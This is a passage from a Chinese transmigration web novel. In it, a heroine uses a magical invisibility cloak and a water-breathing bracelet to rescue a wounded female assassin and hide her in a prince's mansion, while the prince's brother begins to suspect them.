刚跑到河边,就看到围追堵截的官兵包围了护城河,桥上那个男子装扮的黑衣人,肩膀中箭,已经没了任何生路。
俞采星只能挤进官兵队伍,虽然隐身后外人碰触会感觉到,好在现在官兵们也是人挤人,被碰触不会觉得奇怪。
女人好容易才从人堆里挤出来,一抬眼,脚下一个踉跄。
老天,郑芮就要跳了!
俞采星想也不想冲上前,从后面紧紧抱住她。
郑芮浑身一紧,她明显感觉到自己被一个人抱住了,可眼前却连半个人影都没有,多年的习武经验让她凭着本能一甩手臂。
紧接着“啊”一声,俞采星被推到地上,郑芮一凛,听声音刚才抱住自己的竟是个女子,可出声的位置缺空无一人。
这是……遇鬼了么?
这下,不远处虎视眈眈的官兵,看到郑芮的异常举动,生怕她逃了,立刻蜂拥而上。
不能再耽搁了。
俞采星飞速爬起来,再次紧紧抱住她,怕再被甩飞,她立刻小声解释:“郑芮,别推开我,我是来救你的,没有恶意。”
郑芮看不见人,仿佛是空气在说话,常年刀尖添血的生活,让她练就了一副非人的胆魄,即使场面很惊悚,她也稳住了理智。
但最让她震惊的是对方脱口而出的“郑芮”二字,这个名字她只用到六岁,为了在军营方便,她改名为郑云扬。
况且现在她又是男子装扮,还蒙着面,这女子为什么如此笃定她的身份?
发愣的瞬间,郑芮感
觉到“隐形人”给她穿了一件衣服,就在衣服落到她身上的一刹那,眼前出现了一个装扮俏皮的人儿。
隐身衣有共通性,郑芮在猝不及防间看到了俞采星。
这女子看起来比她小几岁,一头黑亮的长发竟然连发髻都没束,头上也没有任何发饰,甚至连个花钿都没有,只用一根红绳扎一个高辫子,干净利落。
她眼神干净真挚,皮肤白净,身上虽然穿着昂贵的华服,却无半点矫揉造作,只是脸上被打的青紫,不禁令人心生怜惜之情。
俞采星紧紧抱着郑芮,两人背对着护城河。
只见她看了眼深不见底的护城河,闭上眼睛抖着唇说了句:“放松,别怕。”,接着用力一个后仰,两人就从高高的桥上跌进河里。
别说,她们落水前的姿势还真有那么点唯美的感觉。
郑芮做了这么多年的将军,惊心动魄的瞬间太多,但从未有一刻像现在这样诡异,怀里的女孩明明怕得唇都白了,却还在安抚自己。
随着“砰”一声两人落入水中,水上陆地手环即刻生效,她们脚下生成一块两平方米大小的明亮空地,俞采星抱着郑芮不仅在水的中间站稳了身,还能正常呼吸。
郑芮没有一丝窒息和溺水感,看着河里的鱼虾蟹在她们眼前顽皮游来游去,神情有些扭曲:“姑娘你……莫不是河妖?”
“嘘!”俞采星把食指放在她的唇上,“别说话,我是人不是妖怪,隐身衣不隐声,会被搜捕的官兵听见的。”
说完,俞采星快速揽过郑芮靠在自己怀里休息,因早就知道她是女人,所以肢体上毫不避讳,反观郑芮靠在陌生人怀里倒有些不自然。
紧跟着,护城河里就有了大动静,陆陆续续很多官兵跳入河中搜寻,瞬间掀起惊涛骇浪。
由于郑芮伤势太重,血不断流出又在河水中散开,隐身衣并不能隐去血液,有好几次几个士兵顺着血液,眼看就碰触到她们了,俞采星抱着郑芮不停改变方向才险险躲过。
又过了一炷香的时间,因为始终没有发现郑芮踪迹,士兵们便被派去下游继续搜寻,俞采星赶紧带着她游到岸上。
水上陆地虽然看起来和真实陆地一样,能够自主呼吸,但若脱离了水域,两人的衣服瞬间湿透。
郑芮还好说,她向来都是男子装扮,今天穿的又是夜行衣,即使衣服湿透也看不出什么,但俞采星就不一样了,昂贵的衣裙紧紧贴在身上,曲线此刻被完美勾勒出来。
郑芮想要将自己的衣服脱给她,但看到上面布满血迹和破洞,又只得作罢。
虽然是仲夏之夜,但河边一丝凉风吹过,俞采星还是打了个寒颤,“此地不宜久留,我们先离开这。”
说完伸手拉她。
然而,郑芮没有动。
“你说你是人,那告诉我你究竟是谁?明知我身份,为什么还要舍身救我?还有,你为何能避水还能隐身?”
18. 固执的郑芮
一连三问,俞采星一时半刻解释不清,只能道:“我先带你回家治伤,你肩膀上的箭要尽快拔下来,这满身的伤口也要处理,否则光流血就流死了。”
郑芮依旧没动:“你家在哪儿?”
“都察院左副都御史俞承荫的府邸,我是她的女儿,”俞采星自然知道她在担心什么,“你放心,我既然冒死救你,就绝不会再加害于你。”
这身份倒是让郑芮意外,此女竟然出自官宦之家,可怎会避水、隐身这些极致逼真的障眼法?
郑芮眸中疑色更甚,偏要砸破砂锅问到底:“姑娘若不实话实说,那我便死在这里又何妨,恕我不能跟你走。”
“你!”真是一根筋,俞采星虽然无奈,但也莫得办法,要是郑家人从前救过她就好了,这样就可以拿报恩当借口。
这时,爱吃瓜的系统又嘤嘤唧唧突然出声。
【别做梦了,郑元达与俞府没有半点牵扯,不过十一年前在常泽一战中,他从敌军手中救过一个快要饿死的小乞丐,但可惜是个小男孩。】
都十一年前了,这么久谁能记得,管他男孩女孩,只要救过一个孩子就行。
于是俞采星张口开始胡编乱造。
“我十一年前和家人走散,因为没有钱便一路乞讨来到常泽,谁知那时常泽正在打仗,我被敌军捉住,幸亏碰到了郑元达将军,他不仅救了我一命,还带我去军营给了我银两和吃食。大将军义薄云天、为国为民,我回到家中后,一直记着大将军的救命之恩,我欠他一条命,自得还在你身上!”
十一年前?
郑芮模模糊糊记得,她父亲好像的确带过一个小孩子去过军营,后来把他交给了当地的一户农家照料。
可她清楚记着当年那孩童是男孩,面前这个却是如假包换的女子,莫非当年也是和自己一样扮作男孩养么?
好,就当她说的都是真的。
一个能将障眼法使得出神入化的官家之女,又恰好知道自己真名叫郑芮,知道自己是女子,关键郑家于她还有救命大恩。
这一切都太过巧合了吧,巧合到甚至有种说不出来的诡异。
俞采星:“总之我欠郑将军一条命,不管你信不信我,今日我是一定要救你的,至于为何会隐身,还能避水,等我们平安回到家中,我一一解释给你听。”
俞采星说着又上前搀扶她。
“我还是不能跟你走。”
“难道你还不相信我?”
“姑娘误会了,我并非不信任你,不过在下亲人皆死,如今我身受重伤怕也命不久矣。以令尊大人目前的官职,不仅保不住我,还会落个串通刺客、行刺皇帝的重罪。当年我父亲只不过举手之劳救下你,你不必刻意放在心上,我已是个将死之人,又何必连累你的九族。”
俞采星抿唇,郑芮果真是女中豪杰,明晃晃的生路摆在眼前,都不为所动。
“不,我说还你一条命就一定要还你一条命,我不会扔下你
的,既然如此,我们不回俞府,先找个僻静的荒山野岭躲上些时日。现在除了我之外,没人知道你是女子,等风声一过,委屈你去草市扮做流民,我买你做我的丫鬟,从此你就可以正大光明住在俞府了。”
郑芮淡笑着摇摇头,刚一开口,却呕出一摊血来。
“我浑身十几处刀伤,到现在肩膀上还插着一支箭,伤势太重,若不马上医治,恐怕没几个时辰好活了。郑芮感谢姑娘冒死相救,可那皇帝老儿不会放过我的,况且若我侥幸活下来,也绝不会偏安一隅,我定会再杀进皇宫,亲取皇帝首级为我族人报仇,姑娘赶紧回家吧,切勿牵扯其中。”
俞采星听完沉默良久。
起初,她救郑芮不过想多个可靠的帮手而已,但一番接触下来,对这奇女子心生敬佩。
“我一定要救你,死也要救,你要报仇,也得等养好伤才能再杀去皇宫。”
这一遭,俞采星几乎为郑芮赌上了所有身家,现在只剩下三天生命值,今日救郑芮就是救她自己,只有改变炮灰命数,她才能增加那六十天的生命值。
无声对峙良久,还是郑芮先败下阵来。
“姑娘太过固执。”她叹口气,捂着伤口凝眉说道:“既如此,我只好承姑娘大恩,不过若要我活下来,如今皇城内恐怕只有一个地方能办到。”
俞采星欣喜不已:“哪里?”
“锐亲王府。”
“什么?!”好家伙,她差点吓出心脏病。
19. 找到游万辰
俞采星担忧咽了咽唾沫。
锐亲王府对她来说,就是龙潭虎穴,锐亲王妃想绞了她的头发送去尼姑庵,游万辰恨不能把她剥皮拆骨,还有一个无时无刻都在想着攻略她的游千古。
这不是等同于自投罗网么?
“郑姐姐,要不你再考虑考虑,锐亲王可是皇上一母同胞的亲弟弟,听说这次三司直接由他指挥,他正派兵满城捉拿你,你不躲着点也就罢了,现在倒要上赶着自投罗网?”
郑芮捂着中箭的部位轻咳。
“俞姑娘,我重伤帝后,皇城封锁已是插翅难逃,城内所有的药铺、郎中都会被查,你根本就找不到给我治伤的药。
而整个皇城内,只有锐亲王府内设御坤堂,两名府医可是医家圣手,里面名丹妙药数之不尽,堪比皇帝的太医院,这种混乱时刻,就连锐亲王自己也绝不会想到,我竟然敢躲进他的王府中。”
俞采星瞬间懂了,这就是所谓的灯下黑。
“好,那我们就去锐亲王府!”事不宜迟,正好趁隐身衣还没冷却,她们直接进入御坤堂,找个无人的犄角旮旯躲起来,如此拿药就方便了。
趁着天还没亮,两人一刻不敢停歇直奔锐亲王府。
郑芮身量高挑,这么多年女扮男装待在军营没被发现,身高帮了大忙,俞采星比她矮上半头,搀扶起来十分费劲,她只得咬牙坚持。
丑初三刻,两人靠着隐身衣躲过重兵,站在了锐亲王府紧闭的大门前,大门处有六名铠甲侍卫,戒备森严。
这六人可比俞府的家丁尽职尽责多了,若她俩大摇大摆去开门,定会直接引发骚乱。
俞采星可犯了难,她虽能隐身,可不能穿墙,这要怎么办?
这时郑芮扯了扯她的衣袖,带她走到远离门口的高墙下,反手搂住她的腰肢提气运功,一眨眼两人便翻入了王府院内。
真是、刺激!
“我撑不住了,若直接去御坤堂,我昏迷后你一个人绝对周全不了,”郑芮早已是强弩之末,这次强行运功翻墙,身体彻底撑不住,昏倒前她只来得及说:“快、唯一……唯一的法子就是去找游万辰,现在只有他能藏住我们,你就说,郑六来找他兑现三个承诺了……让他……”
“让他什么?郑姐姐,醒醒,快醒醒!”倒是先把话说完再晕呀,俞采星焦急地小声叫她,但女人没有丝毫反应。
没搞错吧,让她来锐亲王府就算了,还要去找游万辰?他俩可是死对头,不光跳进他的浴桶,还把他扒光绑起来涂蜂蜜。
这下真要自投罗网了。
不过话又说回来,郑芮昏迷不醒,一旦隐身衣失效,光凭她一人之力根本无法兼顾,必须得在王府找个内应。
而这里只认识两个人,一个游千古,一个游万辰。
若去找游千古,跟直接手心朝上有什么区别,那她还折腾个什么劲儿。
郑芮不是个鲁莽的人,更不会信口开河,既然她说游万辰会收留她们,那就说明能。
做好决定后,俞采星不再犹豫,咬牙将人背起来往乘风苑走,这条路幸亏她刚穿来的时候走过一回,不至于迷路。
一路磕磕绊绊,好在终于到了。
俞采星知道像游千古、游万辰这个级别的人物,身边长年都有影卫、死侍守护,所以她也不敢闹出太大动静,只扣动食指敲门。
起初很轻,谁知敲了半盏茶功夫,里头只冒出一句:“不管何事,天亮再禀”,就再也没有动静。
游万辰始终不来开门,俞采星渐渐有些急躁,最后气得重重踢了一下门,可踢完就后悔了,好在没引出影卫,才松一口气。
屋内。
睡梦中游万辰睁开双眼,迷迷糊糊听到有人在敲门。
这几日他因为那只山羊呕吐不停,都没有好好睡过觉,今夜终于不吐了,谁知刚睡着就被吵醒。
都说了有事天亮再禀,可门外一个劲儿敲个没完,最后竟然敢踹门。
游万辰猛地坐起身,刀影、剑影他们绝对没有这个胆子敢违背命令,天还没亮,此时来找他定是发生了大事。
而最近的大事只有帝后遇刺一事,难道是父王奉旨搜捕刺客出了岔子?
想到此处,游万辰眸子瞬间清醒,一个挺身下床推开门,然而门外却空无一人。
他蹙眉:“来人!”
刚一声令下,四名影卫从不同方向一齐飞身而至,“郡王殿下!”
“刚才你们谁敲我的门?”
四人一脸懵懂,摇头,“属下没敲。”
游万辰眉头皱得更紧了,“你们没敲,那是何人敲的?”
刀影:“回禀郡王,属下们一直暗中守卫,自您睡下后,没人进入乘风苑。”
游万辰抬眼望向他们,“难道刚才你们没有听到敲门声?”
弓影:“敲门声没听到,但刚才的确有咣当一声脆响,属下们仔细查看,并未发现异样,应该是风吹的。”
剑影和枪影也点头附和。
“奇怪。”游万辰掏掏耳朵,以为自己魔怔了,于是转身回屋。
可一进来他就闻到了浓重的血腥味,男人眸子一沉,顾不上关门立刻先点了油灯,抓起墙上的长剑在空中挽了几个剑花。
屋内没人,但地上却有一摊血迹。
就在这时,游万辰面前突然一道凉风刮过,眼前空无一人,身后的房门却自动关上,还落了插销。
男人登时脊背发凉,心底大骇。
20. 修罗场来了
游万辰警觉握紧了手中的剑。
此刻,这间屋子若不是闹鬼,就是进来了绝世高手。
“小郡王,是我。”紧接着游万辰耳畔飘来一阵熟悉的女音,“深夜冒昧打扰,实在并非我本意,还请您一定要多多包涵。”
这人是……
“俞采星!”男人咬牙切齿脱口而出,一转头就对上了一张假笑盈盈的脸,让他瞬间想起那天在别苑里,自己被一只羊……
他迅速将油灯举至身前,此刻女人一袭草绿钩花长裙,紧紧贴在身上,脸颊未施粉黛,连发上都干净的只绑了根红绳。只不过浑身湿漉漉,还染了血迹,像爬上岸索命的水鬼。
男人看了看紧闭的房门,又看了看她,“你这次又是怎么进来的?”王府戒备深严,她竟然还瞒过了他四个影卫。
俞采星不想实话实说,只得摸摸鼻子,憨憨一笑。
见她刻意隐瞒,游万辰眸子里这次是真的染上了杀意。
“你当锐亲王府是什么地方,由得你来去自如?我没去找你,你竟自己送上门来,正好我们新仇旧恨一起算!”
男人说完就作势挥剑。
“小郡王饶命!”俞采星见状“扑通”一声跪下,扯住他亵衣下摆,“我是代一个人向您讨要三个愿望的,您不能杀我。”
但显然,游万辰的重点并没有在她的话上,而是死死盯住她的手。
“放肆,你竟敢碰本郡王的身体,撒手!”游万辰一把从她手里拽回衣摆,那嫌恶的表情活像沾到了脏东西。
“不碰不碰,臣女发誓,再也不碰了。”俞采星站起身,并未过多在乎他的羞辱,只是打量了对方一眼,小声嘟囔:“虽然每次都是以这种尴尬的方式同您见面,但实在并非我本意,不过您能不能先把衣服穿好,我真不馋您身子!”
女人露.骨的话一出,游千古这才意识到自己大敞着里衣,胸肌完全露出来,向来高贵清俊的脸上,难得浮现出了窘迫。
他猛地转身,迅速将衣带系好,再次看向俞采星时,又敛了面上的情绪:“陆铁山尚在家中养病,说,你这次又是走了谁的门路进来的?还有,地上那一摊血迹是怎么回事?”
总算问到了重点,俞采星单刀直入:“那血是我朋友的,郡王殿下,我朋友现在急需一个大夫和止血的伤药,我知道您家的御坤堂里什么都有,还请郡王能帮帮忙。”
说完抬手往后一指。
游万辰猛地回头,这才后知后觉发现,他的床上竟然躺着一个血淋淋的男人!
他瞬间沉下脸,立刻想到了那件大事,“别告诉我,他就是闯宫刺杀帝后的钦犯!”
原来就是这人带着俞采星神不知鬼不觉进入他房里,甚至连外面的影卫都没察觉,这还是在他身受重伤的情况下,此人果然是个高手。
俞采星默认。
得到肯定的答案后,游万辰气笑了。
“真想不到俞大人拜在我父王麾下,却暗度陈仓做着造反的勾当,还让你把刺客带到我面前,你们俞家的胆子真是肥啊!”
说话间,游万辰再次挥剑,直指俞采星咽喉。
这次女人没跪,也没有躲,甚至还不怕死的往前凑了凑,不是她胆子大,实际上她腿都吓软了,强撑着只不过在赌,赌他不是武断之人。
若自己和刺客不明不明死在他的房中,不走漏风声也就罢了,万一泄露出一丝消息,游万辰和锐亲王府就算有一百张嘴,也解释不清楚。
很幸运,俞采星赌赢了,男人的剑没有再向前进一寸。
“小郡王误会了,此事与我父亲无关,更与俞家无关,刺杀皇帝纯属我朋友的个人恩怨,亦与江山社稷无关,您不能杀我,更不能杀她!”
游万辰敛了心神,没人敢和锐亲王府讲条件:“既然你知道我是郡王,就应该明白,我不会,更没有理由包庇你们。”
“不,你有。”俞采星连忙将郑芮晕过去前说的话,又重复了一遍,“郑六来找小郡王兑现三个承诺。”
游万辰在听到郑六后,眸子一眯。
五年前,他在竹山偶遇了一个叫郑六的男人,两人性情相投,而且还在山下与他一起救了一个不慎坠崖的樵夫。
那郑六功夫极好,他一时起了胜负欲,便提出与他比试一场,而赌注就是输的人无条件为胜的人实现一个愿望。
郑芮不想暴露身份,于是化名郑六接受挑战,奈何游万辰同她比了三局,却输了三局,于是就一口气欠下了三个愿望。
五年来郑六都没有出现,他一度以为赌约作废了,却不想此人竟然在今夜,用这种方式出现。
俞采星见游万辰没有一口回绝,当即趁热打铁,“现在躺在床上的就是郑六,小郡王可以履行承诺了。”
游万辰闷声走上前,仔细端详。
躺在床上的男人浑身是血,苍白的脸上也染了血迹,五官很清秀,虽成熟了不少,但此人的确就是当年与他在竹山比武的郑六。
那年他们虽只同行二十几天,但郑六谈吐不凡,根本不是什么山野莽夫,从言行上不难窥见此人的侠义之心。
可这样一个光明磊落之人,又怎会贸然进宫行刺皇帝?
见游万辰死死盯着人却没说答应,俞采星心里有些拿不稳,“小郡王,男子汉大丈夫一言九鼎,可不兴说话算不算数!”
游万辰冷哼:“本郡王说过的话,自然算数,但若你们想拿整个锐亲王府做冤大头,就太异想天开了。”
“您放心,若东窗事发,我们绝不会供出您,更不会牵扯王府,现在郑六昏迷,就由我来代述吧。第一件事,我们今晚来这里的行踪你永远不能泄露给第三人知晓,我们离去后,也不得告知锐亲王秋后算账!”
“好,我答应。”
“第二件事,你马上找大夫和止血的伤药来给郑六治伤,你必须救活她。”
“药可以送来,但大夫没有,皇上生性多疑,此事若有半点泄露,整个锐亲王府都得搭进去。再者生死有命,他是否能活,我可无法保证。”
俞采星点头,游万辰说的在理,便不再强求,本身收留她们就已经代表违抗他父王。
“那第三件事呢?”游万辰问。
“第三件事等郑六醒来亲口说吧,现下麻烦郡王先去拿药,再耽搁她恐怕撑不住了。”此时因为失血过多,郑芮呼吸已经十分虚弱。
没多久游万辰就回来了,手里除了几个小瓷瓶外,还多了一盆热水。
“这是止血丹,药效奇特,吃下一粒便能止脏腑出血,这是续命丸,可保心脉不断,这是止痛散,这是金疮药……”
“谢郡王殿下”。”俞采星真心感谢,没想到游万辰当真是个重诺的人,答应的事半点不敷衍。
俞采星接过伤药,一一给郑芮服下。
“还清醒吗?”俞采星拍着她的脸,“你肩膀上的箭必须拔下来,此刻没有大夫,现在只有让小郡王给你拔箭。”
“不……”郑芮睁开眼睛摇头,“不、不要他,你替我拔。”
“我?”俞采星连忙摇头,“不行不行,我从来没有学过武功,更没学过医术,稍有差池就是我害了你性命!”
“总之要么你替我拔,要么……就先不拔了……”
都生死关头了,还这么犟!
俞采星自然知道郑芮是怕游万辰看穿她的女儿身。
现下也只能死马当活马医了,不再耽搁,她咬唇点点头:“好,我替你拔,你忍住!”
俞采星盯着郑芮还在渗血的肩膀,双手有些颤抖地握住箭羽,闭上眼睛,满脸的视死如归。
她抬手一拔,可那箭头带着倒钩,正好卡在骨头缝里,血喷出老高,箭硬是没拔下来。
“唔唔……”郑芮双手抓着锦被,愣是忍住没叫出声。
“对、对不起!”
“我没事、你、你继续。”郑芮紧闭双眼,额角冷汗肆流,却依旧在强撑着。
“我……”俞采星慌了,握着箭羽的手抖成筛子,不知是汗水还是泪水,模糊了她的双眼,“不行,我拔不了,你会死的!”
“再耽搁下去,箭没拔出来人先死了。”游万辰冷着脸上前,握住俞采星的手,续上内力,转了一下卡住的骨缝,下一瞬,箭粘着血肉一同被拔了出来。
俞采星反应过来,朝他感激点点头,迅速把金疮药倒在郑芮肩膀的伤口上又用棉布用力压住,因为先前服下了好几粒止血丸,血很快止住。
【叮~检测到宿主拯救必死炮灰一枚,奖励生命值六十天,生命倒计时:63天:1小时:28分钟:19秒】
惊喜来得这样猝不及防,俞采星激动的手都在抖,不仅赚了两个月的命,还白得了几件超自然装备,虽然冷却期很长。
这时她眼前又浮现出一个小屏幕,上面赫然写着七个大字:【前世·亡灵的遗憾】,现在形势严峻,俞采星没有点击播放,而是后台存档。
与她的兴奋不同,一旁的游万辰坐在椅子上,烦躁看着俞采星在郑六身旁忙忙碌碌,没想到五年前一时兴起的赌约,竟然还在这件大事上。
游万辰摩挲着手心,刚才握着俞采星的手拔箭,那里一片冰凉湿濡。
男人眼睁睁看着自己的卧房、自己的床、自己的被褥,被两个讨厌的人弄脏,最麻烦的是,他给自己惹了两个大麻烦。
此事若被父王知晓,他就死定了,可若传了出去,锐亲王府就死定了。游万辰甚至开始怀疑,五年前是不是郑六故意给他下的套,筹谋多年就为了今日。
“郡王殿下,可否劳驾您拿一套衣服来?郑六重伤在身,若不换下湿衣服,伤口恐会感染。”
游万辰看向俞采星。
她整个人像从水里捞出来似的,穿的那件丝绸襦裙不吸水,打湿贴在身上,领口歪斜着露出湿透的浅粉色中衣。
还有她的眸,湿哒哒的,像盛满了天上的星子,额上不知是水珠还是汗珠,从脸颊滚落,顺着脖子滑进颈窝。
游万辰干咳一声别开眼。
明明她也浑身湿透,可却只替郑六一人求衣。
“真是麻烦!”游万辰打开衣柜,随便翻了两套衣服丢过去。
俞采星千恩万谢接住,没想到男人发善心给了两套,可两套都是男装,郑芮就罢了,她本就个子高,浑身都是英气,自然能穿的了。
可她个头一米六八,游万辰的衣服对她而言太大,根本穿不起来。
“那个……郡王殿下,请问——”
“又怎么了!”
俞采星举着衣服尴尬一笑,“能不能给我拿一套女装?”
“不能,爱穿就穿,不穿拉倒。”游万辰此时的脸已经烦到五官乱飞,他院里只有小厮,连个伺候的丫鬟都没有,去哪弄套女装给她。
能收留他们两个祸患就已经是天大的恩赐,哪那么多事!
“……谢郡王赐华服。”人在屋檐下,不得不低头,俞采星只能千恩万谢,态度是从未有过的恭敬,此时这个节骨眼可能不能惹他生气。
说着便转身走到床边,抬手就要拉下帷帐。
“你要干什么?”那边游万辰紧皱眉头,又开始找茬。
“自然是拉下帷帐换衣服,我先给郑六换,然后我再换。”
“放肆!”游万辰眼里的厌恶更浓烈了,“你竟敢在我的床上,跟男人乱搞!”
俞采星不是很清楚这男人的脑回路,“郡王殿下此言差矣,是换衣服,不是乱搞。”
“男女有别,不知道吗?”
俞采星偷偷翻了一个白眼。
她一女的,给一个重伤的女人换湿衣服,怎么就上升到道德批判的层面了?
不过她忍,常言道不知者无罪,而且人家现在还是救命恩人呢。
“若小郡王觉得臣女此举侮辱了您的床,那改天等我脱困之后,您带着女伴来俞府,我把我的床也借给您侮辱,届时您想侮辱几天,就侮辱几天,我绝对没有半分怨言。”
“你——”游万辰一甩衣袖,“满口污言秽语!”
俞采星不再理他,她端过热水,拉下帷帐后,就小心翼翼给郑芮脱衣服,她还在昏睡,身上伤口太多,俞采星仔细上完药后,才给她换了干净衣服。
忙完了郑芮,俞采星擦洗自己身上的血污,也换上游万辰的衣服。
呃~就是衣服实在太大。
领口很低,还松松垮垮的,袖子挽上去好几节,衣摆长得像前世明星走红毯的礼服,走路都绊脚。
一阵窸窸窣窣后,终于把自己打理干净,她又给郑芮重新检查了一下伤口,确认没问题后松了一口气。
经此一事,俞采星彻底对游万辰改观,他是个讲信用的人,连皇帝要杀的人都敢保,郑芮在此应该很安全。
可她却不能一直躲在王府,一来俞家那边不好交代,二来自己的一举一动都被游千古盯着,留在小郡王房里更容易惹出乱子。
等郑芮清醒,交代好后续她就离开,届时再寻个时机将人接回俞府。
整理好思绪后,俞采星挽起帷帐,这里毕竟是游万辰的寝室,不好把他晾在外面太久,于是收拾完赶紧出来。
谁知刚走两步便踩到衣摆,直接往前摔去,只听“扑通”一声,俞采星跪倒在游万辰脚底。
男人看着突兀匍匐在脚边的女人,“噗嗤”一声打破沉默,罕见笑出声,“俞采星,你丑死了,像滑稽戏里的俳优。”
俞采星:“……”她忍。
“对,小郡王说得都对。”
而男人在听到俞采星恭敬讨好的话后,笑容瞬间消失,后者也只得跟着掩去嘴角的笑容,气氛陡然又凝滞起来。
烛火昏暗,满室无声。
离天亮还有两个时辰,俞采星折腾了快一整夜,之前一直紧绷神经,现在安全了,有些犯困。
她想上床同郑芮一起睡,于是壮着胆子自作主张从柜子里拿出两床厚褥子铺在地上。
“今夜只能委屈郡王殿下了。”
游万辰盯着地上的被褥,眼里全是火气:“你让本郡王打地铺?”
俞采星两手一摊,“难不成你要同郑六一起睡床?”
男人看着满床的血腥,嫌弃不已。
俞采星拍拍地上的枕头:“我铺了三层褥子,很柔软,您睡在上面不会觉得凉的。”
给他铺好被子,女人转身紧靠郑芮趴在床头,神经一放松,眼皮就跟着耷拉下来。
反观游万辰,在房里走来走去,看到几息功夫便睡过去的俞采星,心里更加恼火,最后不情愿躺在褥子上,却再没了睡意。
这是他长这么大以来,第一次这么憋屈。
他的床上躺着一对狗男女,而他却要打地铺,身下硌得慌,翻来覆去都觉得不得劲。
游万辰虽然贵为郡王,却也不是矫情的人,十四岁就被游轩扔进军营,荒坡草地都睡过,可现在就是莫名觉得不舒服。
他又翻个身,一转头就撞上趴在床畔的女人,她双眼闭着,呼吸平稳。
这女人上辈子是猪吗?与两个男人在一起,还能说睡就睡。
他虽不像阿兄那样憎恨女.色,但对于女人却也没什么兴趣,静静回忆,没想到与他肌肤接触最多的,竟然是眼前这个他极度厌恶的俞采星。
一想到这些,游万辰更睡不着了。
……
王府东面听澜殿的内室里,烛火微漾。
床上的男人动了动,双眉因疼痛蹙起,一叶连忙上前:“世子爷您终于醒了!”
游千古按了按生疼的后脑,眼神有些许迷茫,这里不是俞采星的住处。
一叶:“那日,您肩膀处的烧伤严重撕裂,头部旧伤还没好又被打破流了很多血,您在俞大小姐闺房的箱子里失血过多晕了过去,是千叶将您背了回来。”
游千古晃了晃疼痛的脑仁,“她可还好?”
世子爷一醒过来竟然先问那位,一叶压下心头的震惊,抱拳恭敬回答:“回禀世子,俞大小姐那边一切正常,步军司搜查完之后就离开了,俞府上下也没有人敢再找她的麻烦。”
“我昏迷了多久,可有被其他人察觉?”
“千叶是悄悄送您回来的,我怕惊动旁人便送您来了暗室,您已经昏睡了一天一夜,我没敢让府医来,伤口是我为您包扎的,所以王爷、王妃尚不知道您受伤之事。”
“做得好。”游千古淡淡说一句,就要起身下床,谁成想只是如此简单的动作,他竟然又疼得仰倒。
一叶焦急上前劝说:“世子爷,我不擅医,只能为您简单止血包扎,您伤势太严重,必须得叫个正经大夫过来。”
游千古低头看看,身上包扎的棉布因刚才的动作洇出大片血迹,瞬间湿透。
他的小星下手真狠,当真一点没留情面。
“不必叫大夫,以防走漏风声,你再帮我重新换块棉布。”新一天的馈赠血值已刷新,他必须再去一次俞府,只是身上血腥味太大,会吓到她的。
尽管俞采星一直说找到了新的续命方法,可事关她的生死,一点也不能大意。
一叶领命后端来一盆温水,将游千古小心扶起,用剪刀把他头上和左半边臂膀的棉布剪开。
他十分小心地逐层解开布帛,布条早和创面渗出的血痂、腐湿组织牢牢粘在一处,稍一用力便牵扯破损的伤口,如同撕皮剥肉。
一叶见状更加小心了,只得用指肚蘸温水轻润棉布,可即使再小心也规避不了,阵阵锐痛直窜天灵盖,没一会儿游千古就冷汗涔涔。
后脑勺处的伤口有头发遮掩,看上去并不骇人,但从左侧肩膀一直到整个左臂全是烧伤。一片片血肉模糊,上面还残留着些许没有来得及挑干净的烧焦衣物纤维,十叶再次用刀尖小心翼翼挑出来。
游千古时不时闷哼一声,汗水不受控地落入眼睛里,而他却依旧面无表情,仿佛不是痛在他的身上。
“扣扣扣!”这时暗室外面响起了敲门声,“属下有事禀报世子。”
门外是十叶。
一叶、十叶、百叶、千叶是原来那个“游千古”册封世子时,锐亲王送给他的死侍,这四人心里永远都只有原身一个主子,每个人都能做到对他以命相护。
所以游千古对这四人很是放心。
“进来。”男人因发热,嗓子暗哑一片。这时一叶总算抠出肉里最后一点异物,洗净了血,抹上烧伤药重新包扎好。
“世子,您的伤怎如此严重!”十叶惊了一跳,这两日他一直在外办游千古交代的事,虽知世子受伤,却不知竟然严重到这种地步。
这么重的烧伤世子却瞒过了所有人,不让人来医治,不就是怕王爷和王妃知道,而迁怒俞家那个庶女么。
他家世子长这么大,受着皇家的千恩万宠,小时候磕破点油皮,王妃都要心疼上一日。
可现在半边身子都烧坏了,还只是为了一个女德有亏的庶女,世子爷莫不是真同小郡王说得那样,被下了情蛊?
游千古淡淡开口:“我无妨,管好你的嘴,不要到处声张泄了消息,什么事说吧。”
“是,属下在距王府侧门两丈旁的墙下发现两滴未干的血迹,虽然极不明显,但确实是人血……”十叶犹豫说道:“血迹一路滴到了小郡王的乘风苑。”
游千古抬眼:“直说。”
十叶不敢犹豫:“我怀疑这些血迹与全
城搜捕的钦犯有关。”
游千古语气依旧平淡:“你是说,刺杀皇帝的凶手悄无声息闯进王府,还进了我弟弟的院子,”他慢条斯理穿好衣裳:“所以,你怀疑游万辰是内应?”
十叶连忙跪下:“属下不敢!只是今夜王爷进宫前特意增加了平时三成的护府侍卫,如今王府可谓连只苍蝇都飞不进来,那刺客若无内应,除非会隐身,否则绝进不来王府。”
游万辰的事,他没兴趣插手。
这人与现代那个万辰一模一样,可他试探过,此人没有现代的记忆,而是有这书里的记忆。
他不知道游万辰是否真是书中的纸片人,又或许这一切都是他刻意的伪装,如果是前者,为什么两人不管脸和身材都一模一样,如果是后者,那他为何会推开小星?
没有人比游千古更清楚万辰对小星的心思,从高中就开始了,甚至他和小星结婚了,万辰依旧不肯放弃,这些年一直单着。
自己和小星刚离婚,他便迫不及待趁虚而入。
想到俞采星刚穿书时掉进游万辰的浴桶,游千古到现在依旧无法平息心中的怒火,若真是游万辰包藏刺客,却又做的漏洞百出,真是可恶。
抓拿刺客之事,皇帝直接交给锐亲王游轩和宁亲王游辉两人查办,两位亲王之间相互掣肘,若这事真被有心之人拿来做文章,要株连权力滔天的锐亲王府,也不是不可能。
若锐亲王府出事,他也好不了,那小星该怎么办?
十叶被游千古盯出了冷汗,不知怎的,从前日开始,世子的性子愈加阴鸷冷峻,完全叫人捉摸不透。
一叶躬身行礼:“世子,属下想不通,小郡王为何要藏匿刺客,若是此时被人发现刺客藏在锐亲王府,有宁亲王督察,王爷若想保全王府可就难了。当然,也可能是误会,也许受伤那人只是郡王的友人,并非刺客。”
这个可能性微乎其微。
若真是友人,大大方方迎进王府治病即可,何须半夜鬼鬼祟祟。
“血迹可清除了?”
十叶:“我已沿路清除干净,只是小郡王院内,我若踏入,必得惊动刀影他们,所以……”
“如此说来,我须得亲自去看看我那弟弟不可了,敢明目张胆进锐亲王府躲着,说明这刺客也不简单,那就去会一会。”
